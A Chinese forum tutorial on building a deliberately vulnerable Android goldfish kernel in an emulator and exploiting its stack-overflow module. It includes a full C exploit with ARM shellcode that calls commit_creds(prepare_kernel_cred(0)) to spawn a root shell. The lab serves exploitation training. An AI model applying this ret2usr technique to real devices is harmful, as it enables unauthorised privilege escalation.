好友
阅读权限10
听众
最后登录1970-1-1
|
本帖最后由 inquisiter 于 2017-9-8 08:28 编辑
本次实验旨在还原android内核利用及root环境搭建的基本过程,腾讯一个实验室讲过,我把自己在重建过程中的遇到坑记录一下。方便自己和初学者参考。环境在Ubuntu17。
一、简介
1.下载内核代码,交叉编译环境(还原漏洞内核)重新编译
2.搭建模拟器环境和调试环境,实现编译加载内核以及调试加载符号链接
3.分析漏洞成因
4.利用漏洞编写exp实现root
二、实现详情
2.1、下载内核代码,交叉编译环境(还原漏洞内核)重新编译
我们查看一下模拟器内核版本cat /proc/cpuinfo
查看内核版本
可以看到我们需要goldfish的内核,利用国内的镜像下载,谷歌的上不去,下载goldfish内核。
git clone https://aosp.tuna.tsinghua.edu.cn/kernel/goldfish.git
$ cd goldfish/
# 查看可以下载的Linux内核源码的版本
$ git branch -a
* master
remotes/origin/HEAD -> origin/master
remotes/origin/android-3.10
remotes/origin/android-3.18
remotes/origin/android-goldfish-2.6.29
remotes/origin/android-goldfish-3.10
remotes/origin/android-goldfish-3.10-l-mr1-dev
remotes/origin/android-goldfish-3.10-m-dev
remotes/origin/android-goldfish-3.10-n-dev
remotes/origin/android-goldfish-3.18
remotes/origin/android-goldfish-3.18-dev
remotes/origin/android-goldfish-3.4
remotes/origin/android-goldfish-3.4-l-mr1-dev
remotes/origin/android-goldfish-4.4-dev
remotes/origin/heads/for/android-goldfish-3.18-dev
remotes/origin/linux-goldfish-3.0-wip
remotes/origin/master
# 选择下载android-goldfish-3.4的内核源码
$ git checkout remotes/origin/android-goldfish-3.4
# 下载编译工具链
$ git clone https://aosp.tuna.tsinghua.edu.cn/platform/prebuilts/gcc/linux-x86/arm/arm-eabi-4.7
创建文件 run_make_config.sh如下:
export CROSS_COMPILE=$(pwd)/arm-eabi-4.7/bin/arm-eabi-
export ARCH=arm
export SUBARCH=arm
# 生成编译配置文件
make goldfish_armv7_defconfig
赋予权限
$ chmod +x run_make_config.sh
$ source run_make_config.sh
上述操作均在goldfish目录,否则报错
修改生成的Android内核编译配置文件.config,增加Android内核编译的config选项。默认的 make goldfish_armv7_defconfig 配置没有打开调试选项,也没有使用HIGHMEM等选项,因此为了使用 kgdb 调试Android内核必须增加这些选项。这里手动打开goldfish/.config文件,增加调试相关的选项配置。
1. # 打开Android内核编译的配置文件
2. $ gedit .config 增加的编译配置选项:
1. # 设置模拟器的运行内存-可选参数
2. CONFIG_HIGHMEM=y
3.
4. CONFIG_DEBUG_KERNEL=y
5. CONFIG_KGDB=y
6. CONFIG_DEBUG_INFO=y
7.
8. # 真机设备调试需要设置这一项,模拟器不需要
9. #CONFIG_KGDB_SERIAL_CONSOLE=y
10.
11.# 可以是直接在配置文件中去掉这一项
12.CONFIG_DEBUG_RODATA=n
上面修改.config完成以后,保存和关闭.config文件,然后执行下面的命令进行Android内核源码的编译。由于前面修改Android内核编译配置时,增加了几个配置,因此编译一开始会有提示让选择配置选项,记得相关的配置全部选 y 就可以了。Android内核编译完成后,goldfish/arch/arm/boot/zImage文件出现,这个文件就是Android内核文件了。
以下是编译一个漏洞进内核:
下载github上的一个 安卓漏洞利用的项目, git clone https://github.com/Fuzion24/AndroidKernelExploitationPlayground.git kernel_exploit_challenges
然后使用项目中的patch文件把 patch 内核编译配置,来把项目中的带漏洞的模块编译进linux内核
git am --signoff < ../kernel_exploit_challenges/kernel_build/debug_symbols_and_challenges.patch && \cd .. && ln -s $(pwd)/kernel_exploit_challenges/ goldfish/drivers/vulnerabilities
这一步要在生成.config之后,如果早了命令会出错。 $ make -j4
· # 启动运行创建的Android模拟器Debug_Kernel ·
$ emulator -avd Debug_Kernel -gpu mesa 命令行启动一下,可以的话关掉。
$ emulator -avd Debug_Kernel -verbose -netfast -show-kernel -kernel ./arch/arm/boot/zImage -gpu mesa -qemu -s -S
调试内核一般不需要显示图形界面和声音,因此增加启动选项 -no-window, no-audio ,增加 -verbose -show-kernel 选项 可以看到内核的详细输出信息,-kernel 选项 指定加载的内核镜像文件为前面编译的Android内核镜像文件,增加 -qemu -s -S 选项 启动调试监听即Android内核启动以后会监听端口 1234 ,暂停等待调试,这时需要打开另一个命令终端运行 gdb 程序,对Android内核进行调试,还可以增加 -memory 2048 选项 设置运行的内存大小,增加运行内存使调试运行更流畅。
2.2、搭建模拟器环境和调试环境,实现加载编译内核以及加载调试符号链接
默认有java的执行环境,自行安装sdk,并下载API19.(这里有一个不用换源就能用的linux下的android sdk http://tools.android-studio.org/index.php/sdk/) 使用 android create avd 命令,创建Android模拟器Debug_Kernel的示例,如下:
# 查看本地下载的Android SDK
$ android list targets
# 创建Android模拟器 Debug_Kernel
$ android create avd -n Debug_Kernel -t android-19 -b default/armeabi-v7a -s HVGA
Android API 19的Android模拟器 Debug_Kernel 创建成功以后,
使用下面的命令检查新创建的Android模拟器 Debug_Kernel 能否正常启动成功。
# 查看已经创建的Android模拟器
$ emulator -list-avds
# 启动运行创建的Android模拟器Debug_Kernel
$ emulator -avd Debug_Kernel -gpu mesa
启动模拟器
$ emulator -avd Debug_Kernel -verbose -netfast -show-kernel -kernel ./arch/arm/boot/zImage -gpu mesa -qemu -s -S
其实Android模拟器 emulator 就是 基于qemu虚拟机 开发的,因此Android模拟器 emulator 在运行的时候也支持qemu虚拟机的命令,在上面以 调试模式启动 Android虚拟机 Debug_Kernel 时使用的启动选项 -qemu -s -S的作用,可以参考命令行的帮助,如下图:
配置交叉编译环境变量
# 编辑环境变量配置文件
$ sudo gedit /etc/profile
# 添加到环境变量配置文件/etc/profile中的内容
export ANDROID_TOOLCHAIN=/home/fly2016/Android4.4.4r1/goldfish-kernel-3.4/goldfish/arm-eabi-4.7
export PATH=$PATH:${ANDROID_TOOLCHAIN}/bin/
# 更新系统环境变量
$ source /etc/profile
# 测试是否配置成功
$ arm-eabi-gdb
OK,arm-eabi-gdb 工具的问题解决了,
下面在Android内核源码的根目录下,执行下面的命令进行Android内核的源码调试:
# 在Android内核源码的根目录下执行
# 加载内核符号信息
$ arm-eabi-gdb vmlinux
# 连接远端的调试器
$ target remote :1234
# 测试命令
$ list
$ n
$ arm-eabi-gdb --help
2.3.分析漏洞成因
首先看看漏洞代码, kernel_exploit_challenges/challenges/stack_buffer_overflow/module/stack_buffer_overflow.c:
代码会创建/proc/stack_buffer_overflow 设备文件 ,当向该设备文件调用 write 系统调用时会调用 proc_entry_write 函数进行处理。漏洞显而易见,在 proc_entry_write 函数中 定义了一个 64 字节大小的栈缓冲区 buf, 然后使用 copy_from_user(&buf, ubuf, count) 从用户空间 拷贝数据到 buf ,数据大小和内容均用户可控。于是当我们输入超过64字节时我们能够覆盖其他的数据,比如返回地址等,进而劫持程序执行流到我们的 shellcode 中 进行提权。
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/proc_fs.h>
#include <linux/string.h>
#include <asm/uaccess.h>
#define MAX_LENGTH 64
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Ryan Welton");
MODULE_DESCRIPTION("Stack Buffer Overflow Example");
static struct proc_dir_entry *stack_buffer_proc_entry;
int proc_entry_write(struct file *file, const char __user *ubuf, unsigned long count, void *data)
{
char buf[MAX_LENGTH];
if (copy_from_user(&buf, ubuf, count)) {
printk(KERN_INFO "stackBufferProcEntry: error copying data from userspace\n");
return -EFAULT;
}
return count;
}
static int __init stack_buffer_proc_init(void)
{
stack_buffer_proc_entry = create_proc_entry("stack_buffer_overflow", 0666, NULL);
stack_buffer_proc_entry->write_proc = proc_entry_write;
printk(KERN_INFO "created /proc/stack_buffer_overflow\n");
return 0;
}
static void __exit stack_buffer_proc_exit(void)
{
if (stack_buffer_proc_entry) {
remove_proc_entry("stack_buffer_overflow", stack_buffer_proc_entry);
}
printk(KERN_INFO "vuln_stack_proc_entry removed\n");
}
module_init(stack_buffer_proc_init);
module_exit(stack_buffer_proc_exit);
首先我们来试试触发漏洞。先把模拟器打开,然后 adb shell 进入模拟器,使用 echo 命令向 /proc/stack_buffer_overflow 设备输入72字节的数据。
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > /proc/stack_buffer_overflow
触发异常
溢出到返回地址
可以看到 pc 寄存器的值 为 0x41414141 成功劫持。测试时该内核没开 pxn ,所以我们可以在用户态编写shellcode让内核去执行。提取的方式很简单,内核态调用 commit_creds(prepare_kernel_cred(0)); 提升权限为 root, 然后返回 用户态 执行 execl("/system/bin/sh", "sh", NULL); 起一个 root 权限的 shell, 完成提权。下面先获取 prepare_kernel_cred 和 commit_creds 函数的地址。在 /proc/kallsyms 文件中保存着所有的内核符号的名称和它在内存中的位置。不过在最近的内核版本中,为了使利用内核漏洞变得更加困难,linux内核目前禁止一般用户获取符号。
当启用 kptr_restrict 时我们不能获取内核符号地址的。这里的地址每次开机都会改变,我们先忽略这个随机过程,直接硬编码。
root@generic:/ # cat /proc/kallsyms | grep commit_creds
00000000 T commit_creds
在本文中,把它禁用掉,不管他。
root@generic:/ # echo 0 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/kptr_restrict
root@generic:/ # cat /proc/kallsyms | grep commit_creds
c0039834 T commit_creds
root@generic:/ # cat /proc/kallsyms | grep prepare_kernel_cred
c0039d34 T prepare_kernel_cred
c003a85c T prepare_kernel_cred //myaddress
禁用掉之后,我们就可以通过 /proc/kallsyms 获取 commit_creds 和 prepare_kernel_cred的地址。
至此,提权的问题解决了,下面就是要回到用户态,在x86平台有 iret指令可以回到用户态,在arm下返回用户态就更简单了。在arm下 cpsr 寄存器的 M[4:0] 位用来表示 处理器的运行模式,具体可以看这个。所以我们把 cpsr 寄存器的 M[4:0] 位设置为 10000后就表示 处理器进入了用户模式。
2.4.利用漏洞编写exp实现root
所以现在的利用思路是:
1.调用 commit_creds(prepare_kernel_cred(0)) 提升权限
为什么这里能提权,我说一下。其实这个和linux的权限管理过程有关。linux用户一般开启root直接都是su一下,输入密码就可以。android使用linux的内核,但android默认的用户没有root,被系统函数给降权了。怎么才能提权呢?其实只要找一个权限较高的进程让他set uid 、gid为0,那么用户自然就变成了root。本来想找一下这里的源码看一下,不过好像没必要。这里的函数应该就是实现类似的功能。如果没有高权限的进程设置uid、gid,提权一般是不可能了。
2.调用 mov r3, #0x40000010; MSR CPSR_c,R3; 设置 cpsr寄存器,使cpu进入用户模式
3.然后执行 execl("/system/bin/sh", "sh", NULL); 起一个 root 权限的 shell
最后的 exp :
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
#define MAX 64
int open_file(void)
{
int fd = open("/proc/stack_buffer_overflow", O_RDWR);
if (fd == -1)
err(1, "open");
return fd;
}
void payload(void)
{
printf("[+] enjoy the shell\n");
execl("/system/bin/sh", "sh", NULL);
}
extern uint32_t shellCode[];
asm
(
" .text\n"
" .align 2\n"
" .code 32\n"
" .globl shellCode\n\t"
"shellCode:\n\t"
// commit_creds(prepare_kernel_cred(0));
// -> get root
"LDR R3, =0xc0039d34\n\t" //prepare_kernel_cred addr
"MOV R0, #0\n\t"
"BLX R3\n\t"
"LDR R3, =0xc0039834\n\t" //commit_creds addr
"BLX R3\n\t"
"mov r3, #0x40000010\n\t"
"MSR CPSR_c,R3\n\t"
"LDR R3, =0x879c\n\t" // payload function addr
"BLX R3\n\t"
);
void trigger_vuln(int fd)
{
#define MAX_PAYLOAD (MAX + 2 * sizeof(void*) )
char buf[MAX_PAYLOAD];
memset(buf, 'A', sizeof(buf));
void * pc = buf + MAX + 1 * sizeof(void*);
printf("shellcdoe addr: %p\n", shellCode);
printf("payload:%p\n", payload);
*(void **)pc = (void *) shellCode; //ret addr
/* Kaboom! */
write(fd, buf, sizeof(buf) );
}
int main(void)
{
int fd;
fd = open_file();
trigger_vuln(fd);
payload();
close(fd);
}
简单的说就是在用户态建立设置UID和gid为0的代码,使用溢出令内核态的代码跳转到用户态构造好的提权代码进行提权。
当然如果直接在用户态执行提权代码权限是不够的。
arm-linux-androideabi-gcc exp.c -o exp
将编译好的文件放到模拟器任意目录执行即可
对于编译一个基于某些依赖库的程序,而这些依赖库在Android系统中已经有时,最简便的方法是找到它的头文件(有的头文件交叉便器的include中没有),然后再从Android系统中拷贝出相应的.so文件,用交叉编译器或者ndk-build编译即可。
arm-linux-androideabi-gcc -I[头文件目录] -L[动态库位置] filename.c -o filename
或者编写Android.mk文件,利用ndk-build.
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
LOCAL_MODULE := client_android
LOCAL_SRC_FILES := client.c
LOCAL_CFLAGS += -I/home/wwtao/Desktop/bluetooth/include/include
LOCAL_LDLIBS += -L/home/wwtao/Desktop/bluetooth/libfrompanda -lbluetooth
include $(BUILD_EXECUTABLE)
#include $(BUILD_STATIC_LIBRARY)
#include $(BUILD_SHARED_LIBRARY)
其中,LOCAL_PATH := $(call my-dir) 设置LOCAL_PATH为当前了路径
include $(CLEAR_VARS)是清空当前的变量
LOCAL_MODULE 是编译后生成的文件名
LOCAL_SRC_FILES 是编译的源文件
LOCAL_CFLAGS 是设置编译时的头文件搜索路径
LOCAL_LDLIBS 是设置编译时搜索动态链接库的路径
include $(BUILD_EXECUTABLE) 是生成可执行文件,如果是BUILD_STATIC_LIBRARY是生成静态库,如果是BUILD_SHARED_LIBRARY。
如果出现
Unable to auto-config arch from toolchain
这是说无法自动配置 toolchain,需要手动配置.先看看你的ndk支持编译哪些cpu
oldfeel@oldfeel:~/android-ndk$ ls toolchains/
aarch64-linux-android-4.9 mipsel-linux-android-4.8
aarch64-linux-android-clang3.4 mipsel-linux-android-4.9
aarch64-linux-android-clang3.5 mipsel-linux-android-clang3.4
arm-linux-androideabi-4.6 mipsel-linux-android-clang3.5
arm-linux-androideabi-4.8 renderscript
arm-linux-androideabi-4.9 x86-4.6
arm-linux-androideabi-clang3.4 x86-4.8
arm-linux-androideabi-clang3.5 x86-4.9
llvm-3.4 x86_64-4.9
llvm-3.5 x86_64-clang3.4
mips64el-linux-android-4.9 x86_64-clang3.5
mips64el-linux-android-clang3.4 x86-clang3.4
mips64el-linux-android-clang3.5 x86-clang3.5
mipsel-linux-android-4.6
编辑 make-standalone-toolchain.sh,找到并修改 TOOLCHAIN_NAME= 为
vim build/tools/make-standalone-toolchain.sh
三、总结
我这里adb shell进入android默认就是root权限
$id
uid(0)root pid(0)root
这让我觉得本次实验好像有点蹩脚。不管怎样历经了很多莫名的错误和奔溃终于实现了。我感觉调试内核千万要用linux的系统,windows下各种神奇的错误,简直怀疑人生了。
参考:
http://www.360zhijia.com/360anquanke/288826.html
http://blog.csdn.net/qq1084283172/article/details/
|
免费评分
-
查看全部评分
本帖被以下淘专辑推荐:
- · 资源链接|主题: 244, 订阅: 99
- · 教程类|主题: 265, 订阅: 43
|
发帖前要善用【论坛搜索】功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。 |
|
|
|
|